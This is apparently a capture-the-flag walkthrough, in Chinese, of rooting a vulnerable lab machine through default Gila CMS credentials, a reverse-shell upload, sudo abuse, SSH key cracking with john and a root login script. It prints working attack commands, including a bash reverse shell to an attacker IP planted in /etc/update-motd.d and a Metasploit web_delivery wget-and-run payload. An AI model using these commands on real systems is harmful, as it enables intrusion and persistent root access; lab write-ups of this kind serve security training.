1、扫描靶机ip:192.168.0.112
2、扫描靶机开放端口
21
22
80
3、访问80端口除了下面的这个界面就没什么有用的信息了
4、ftp连接查看一下得到一个note.txt文件
Hey Kevin,
I just set up your panel and used default password. Please change them before any hack.
I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.
Aaron
5、根据上面的提示,有一个站点被移动到了域名ceng-company.vm 上,设置hosts文件(前面的文章有介绍),使用gobuster进行扫描子域名,找到一个admin.ceng-company.vm的站点,但是直接访问是403
gobuster vhost -u ceng-company.vm -w domain.txt domain.txt
6、扫描目录,发现了一个gila目录
gobuster dir -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
7、访问gila目录,发现是个cms,默认后台就是admin
8、这里的登录用户名是邮箱格式,根据之前note.txt的信息,拼凑出用户名kevin@ceng-company.vm,密码是默认密码admin
kevin@ceng-company.vm/admin
9、这里content模块里面有个file manager功能,可以上传文件,但是直接在网站根目录下上传文件没有反应,应该是没有权限
10、看到有个tmp文件夹,发现这个文件夹能够成功上传反弹shell的脚本,但是这里有个.htacccess文件做了限制,直接把内容删除就行了
11、本地开启监听,访问页面,成功接收到反弹的shell
12、使用ppython3提权
python3 -c "import pty;pty.spawn('/bin/bash')"
13、使用sudo -l显示出自己(执行 sudo 的使用者)的权限,发现可以无密码使用swartz身份执行/home/swartz/runphp.sh
14、使用php提权到swartz
sudo -u swartz /home/swartz/runphp.sh
system("/bin/bash");
15、在home目录下发现了另一个用户文件夹,并且有权限进行查看,发现了个.ssh文件夹,里面有个id_rsa文件,可以放到本地进行破解保存密码,然后使用该私钥进行登录
16、解密私钥保存密码,使用私钥登录,家目录下有个user.txt文件,得到第一个flag
/usr/share/john/ssh2john.py id_rsa > private_key #将私钥文件转化成John能识别的文件
john private_key --wordlist=/usr/share/wordlists/rockyou.txt #使用john破解保存密码
ssh -i id_rsa mitnick@192.168.0.112 #回车输入legend
17、查找提权可以利用的文件,/etc/update-motd.d文件夹下的脚本会在用户通过ssh登录时自动运行,并且是以root的身份运行,主要的作用就是在登录之后显示欢迎等消息。
find / -type f -perm -g+rwx 2>/dev/null
18、有写权限,直接就将反弹shell的一句话写入到其目录下的一个脚本文件中,这里有两种方法
(1)使用一句话
echo "bash -c 'bash -i >& /dev/tcp/192.168.0.109/6666 0&>1'" >> shell2.sh
chmod 777 shell2.sh
echo "bash /home/mitnick/shell2.sh" >> /etc/update-motd.d/00-header
本地开启监听,退出重新ssh连接一下,成功接收反弹的shell,然后查看家目录下的root.txt文件,拿到最后的flag
(2)使用msf生成文件
use exploit/multi/script/web_delivery
set target 6
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.109
set lport 5555
run
在靶机上执行
echo "wget -qO WfRkW6wz --no-check-certificate http://192.168.0.109:8080/eml0ukKUyXRyfL; chmod +x WfRkW6wz; ./WfRkW6wz& disown" >> /etc/update-motd.d/00-header
退出重新ssh连接一下,成功产生session,查看家目录下的root.txt文件,拿到最后的flag
这里第一个session是在mitnick用户下测试时产生的